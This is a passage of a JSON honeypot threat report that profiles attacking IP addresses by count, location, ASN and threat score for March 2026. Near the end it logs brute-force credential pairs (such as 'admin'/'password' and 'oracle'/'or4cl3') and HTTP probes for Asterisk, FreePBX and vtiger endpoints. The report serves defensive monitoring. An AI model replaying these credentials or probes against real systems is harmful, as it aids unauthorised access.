      "as_org": "Verizon Business",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T08:34:43.099000+00:00",
        "last_seen_30d": "2026-03-25T08:36:04.011000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.254.223.207": {
      "attack_count": 2,
      "first_seen": "2026-03-24T00:29:21.613Z",
      "last_seen": "2026-03-24T00:29:36.650Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T00:29:21.613000+00:00",
        "last_seen_30d": "2026-03-24T00:30:41.158000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.245.141.245": {
      "attack_count": 2,
      "first_seen": "2026-03-21T17:14:40.054Z",
      "last_seen": "2026-03-21T17:14:55.144Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T17:14:40.054000+00:00",
        "last_seen_30d": "2026-03-21T17:16:03.570000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.157.131.251": {
      "attack_count": 2,
      "first_seen": "2026-03-16T14:33:47.739Z",
      "last_seen": "2026-03-16T14:34:01.343Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:33:47.739000+00:00",
        "last_seen_30d": "2026-03-16T14:35:04.433000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.64.193.166": {
      "attack_count": 2,
      "first_seen": "2026-03-15T00:32:35.681Z",
      "last_seen": "2026-03-15T00:32:35.683Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T00:32:35.681000+00:00",
        "last_seen_30d": "2026-03-15T00:33:35.748000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "173.249.29.188": {
      "attack_count": 2,
      "first_seen": "2026-03-24T15:30:38.711Z",
      "last_seen": "2026-03-24T15:31:09.155Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T15:30:38.711000+00:00",
        "last_seen_30d": "2026-03-24T15:32:11.124000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "175.107.224.208": {
      "attack_count": 2,
      "first_seen": "2026-03-03T14:45:00.825Z",
      "last_seen": "2026-03-03T14:45:13.132Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:45:00.825000+00:00",
        "last_seen_30d": "2026-03-03T14:46:18.867000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.84.92.3": {
      "attack_count": 2,
      "first_seen": "2026-03-31T13:20:58.152Z",
      "last_seen": "2026-03-31T13:21:29.502Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Dion\u00edsio Cerqueira",
      "asn": 52724,
      "as_org": "Adriano Telecomunicacoes Ltda Me",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T13:20:58.152000+00:00",
        "last_seen_30d": "2026-03-31T13:22:32.981000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.9": {
      "attack_count": 2,
      "first_seen": "2026-03-25T15:33:22.845Z",
      "last_seen": "2026-03-25T15:33:53.107Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 65.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.0,
        "persistence": 22.5,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 27,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T01:39:53.816000+00:00",
        "last_seen_30d": "2026-03-31T16:16:55.096000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 7,
        "Cowrie": 2
      }
    },
    "205.210.31.84": {
      "attack_count": 2,
      "first_seen": "2026-03-17T18:56:48.326Z",
      "last_seen": "2026-03-17T18:56:48.647Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 30,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T06:00:29+00:00",
        "last_seen_30d": "2026-03-31T21:42:05.908000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 19,
        "Miniprint": 10,
        "Adbhoney": 4,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "220.134.189.56": {
      "attack_count": 2,
      "first_seen": "2026-03-25T09:51:13.068Z",
      "last_seen": "2026-03-25T09:51:43.886Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T09:51:13.068000+00:00",
        "last_seen_30d": "2026-03-25T09:52:47.610000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "223.123.73.78": {
      "attack_count": 2,
      "first_seen": "2026-03-12T20:27:50.054Z",
      "last_seen": "2026-03-12T20:28:02.080Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T20:27:50.054000+00:00",
        "last_seen_30d": "2026-03-12T20:29:07.202000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.59.149.227": {
      "attack_count": 2,
      "first_seen": "2026-03-16T10:32:26.562Z",
      "last_seen": "2026-03-16T10:32:39.611Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T10:32:26.562000+00:00",
        "last_seen_30d": "2026-03-16T10:33:46.331000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.142.149.211": {
      "attack_count": 2,
      "first_seen": "2026-03-08T23:17:28.439Z",
      "last_seen": "2026-03-08T23:17:42.865Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kaliningrad",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T23:17:28.439000+00:00",
        "last_seen_30d": "2026-03-08T23:18:53.210000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.249.162.123": {
      "attack_count": 2,
      "first_seen": "2026-03-28T20:38:49.747Z",
      "last_seen": "2026-03-28T20:39:21.365Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17622,
      "as_org": "China Unicom Guangzhou network",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T20:38:49.747000+00:00",
        "last_seen_30d": "2026-03-28T20:40:22.433000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.126.177.227": {
      "attack_count": 2,
      "first_seen": "2026-03-18T22:15:40.430Z",
      "last_seen": "2026-03-18T22:16:11.197Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T22:15:40.430000+00:00",
        "last_seen_30d": "2026-03-18T22:17:13.218000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.180.162.27": {
      "attack_count": 2,
      "first_seen": "2026-03-12T11:41:11.628Z",
      "last_seen": "2026-03-12T11:41:25.132Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 17813,
      "as_org": "Mahanagar Telephone Nigam Limited",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T11:41:11.628000+00:00",
        "last_seen_30d": "2026-03-12T11:42:26.336000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.177.222.251": {
      "attack_count": 2,
      "first_seen": "2026-03-03T14:06:09.116Z",
      "last_seen": "2026-03-03T14:06:09.911Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghaicun",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:06:09.116000+00:00",
        "last_seen_30d": "2026-03-03T14:07:13.937000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "60.18.211.251": {
      "attack_count": 2,
      "first_seen": "2026-03-13T19:20:30.215Z",
      "last_seen": "2026-03-13T19:20:43.360Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T19:20:30.215000+00:00",
        "last_seen_30d": "2026-03-13T19:21:47.492000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.36.143.189": {
      "attack_count": 2,
      "first_seen": "2026-03-08T04:29:24.653Z",
      "last_seen": "2026-03-08T04:29:39.632Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Takaoka",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:29:24.653000+00:00",
        "last_seen_30d": "2026-03-08T04:30:45.018000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "64.227.191.131": {
      "attack_count": 2,
      "first_seen": "2026-03-05T12:09:59.807Z",
      "last_seen": "2026-03-05T12:10:00.055Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 1.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 2,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T12:09:59.807000+00:00",
        "last_seen_30d": "2026-03-06T18:54:34.592000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "77.209.75.123": {
      "attack_count": 2,
      "first_seen": "2026-03-14T17:23:14.100Z",
      "last_seen": "2026-03-14T17:23:28.010Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Olite",
      "asn": 12430,
      "as_org": "Vodafone Spain",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T17:23:14.100000+00:00",
        "last_seen_30d": "2026-03-14T17:24:30.229000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.16.93.130": {
      "attack_count": 2,
      "first_seen": "2026-03-30T17:06:45.934Z",
      "last_seen": "2026-03-30T17:08:45.993Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Caravaggio",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T17:06:45.934000+00:00",
        "last_seen_30d": "2026-03-30T17:19:22.947000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.219.84.81": {
      "attack_count": 2,
      "first_seen": "2026-03-24T03:01:56.255Z",
      "last_seen": "2026-03-24T03:02:27.065Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T03:01:56.255000+00:00",
        "last_seen_30d": "2026-03-24T03:03:36.658000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.230.168.206": {
      "attack_count": 2,
      "first_seen": "2026-03-12T19:40:37.619Z",
      "last_seen": "2026-03-12T19:40:40.623Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 48.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.1,
        "persistence": 11.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 14,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-10T02:52:12+00:00",
        "last_seen_30d": "2026-03-23T08:30:46.674000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 8,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "95.249.155.143": {
      "attack_count": 2,
      "first_seen": "2026-03-11T07:52:11.625Z",
      "last_seen": "2026-03-11T07:52:25.375Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Rovereto",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T07:52:11.625000+00:00",
        "last_seen_30d": "2026-03-11T07:53:34.040000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.154.35.215": {
      "attack_count": 24812,
      "first_seen": "2026-03-02T00:05:30.730Z",
      "last_seen": "2026-03-31T23:20:26.811Z",
      "sessions": 4361,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "authority",
        "ddd",
        "ftp1",
        "admin",
        "root",
        "ui",
        "qaz",
        "0"
      ],
      "passwords_attempted": [
        "or4cl3",
        "authority",
        "ddd",
        "ftp1",
        "admin",
        "password",
        "ui",
        "123456",
        "0"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 34804,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:05:30.730000+00:00",
        "last_seen_30d": "2026-03-31T23:21:27.451000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24812,
        "Suricata": 9992
      }
    },
    "194.50.16.198": {
      "attack_count": 2178,
      "first_seen": "2026-03-02T08:48:32.101Z",
      "last_seen": "2026-03-28T15:40:50.249Z",
      "sessions": 506,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "User-Agent: python-requests/2.27.1",
        "Connection: keep-alive",
        "GET /_asterisk/graph.php HTTP/1.1",
        "GET /assets/phpversions.php HTTP/1.1",
        "GET /recordings/misc/graph.php HTTP/1.1",
        "GET /recordings/misc/phpversions.php HTTP/1.1",
        "GET /_asterisk/phpversions.php HTTP/1.1",
        "GET /phpversions.php HTTP/1.1",
        "GET /vtigercrm/phpversions.php HTTP/1.1",
        "GET / HTTP/1.1",
        "GET // HTTP/1.1",
        "GET /admin/assets/js/views/login.js HTTP/1.1",
        "GET /assets/graph.php HTTP/1.1",
        "GET /admin/views/phpversions.php HTTP/1.1",
        "GET /graph.php HTTP/1.1",
        "GET /vtigercrm/graph.php HTTP/1.1",
        "GET /admin/views/config.php HTTP/1.1",
        "GET /assets HTTP/1.1",
        "GET /digium_phones/ajax.php HTTP/1.1"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "Accept-Encoding: gzip, deflate",
        "Connection: keep-alive",
        "User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.119.1.el7.x86_64"
      ],
      "commands_executed": [
        "",
        "Accept: */*",
        "Connection: keep-alive",
        "Accept-Encoding: gzip, deflate",
        "User-Agent: python-requests/2.27.1",
        "User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.119.1.el7.x86_64"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
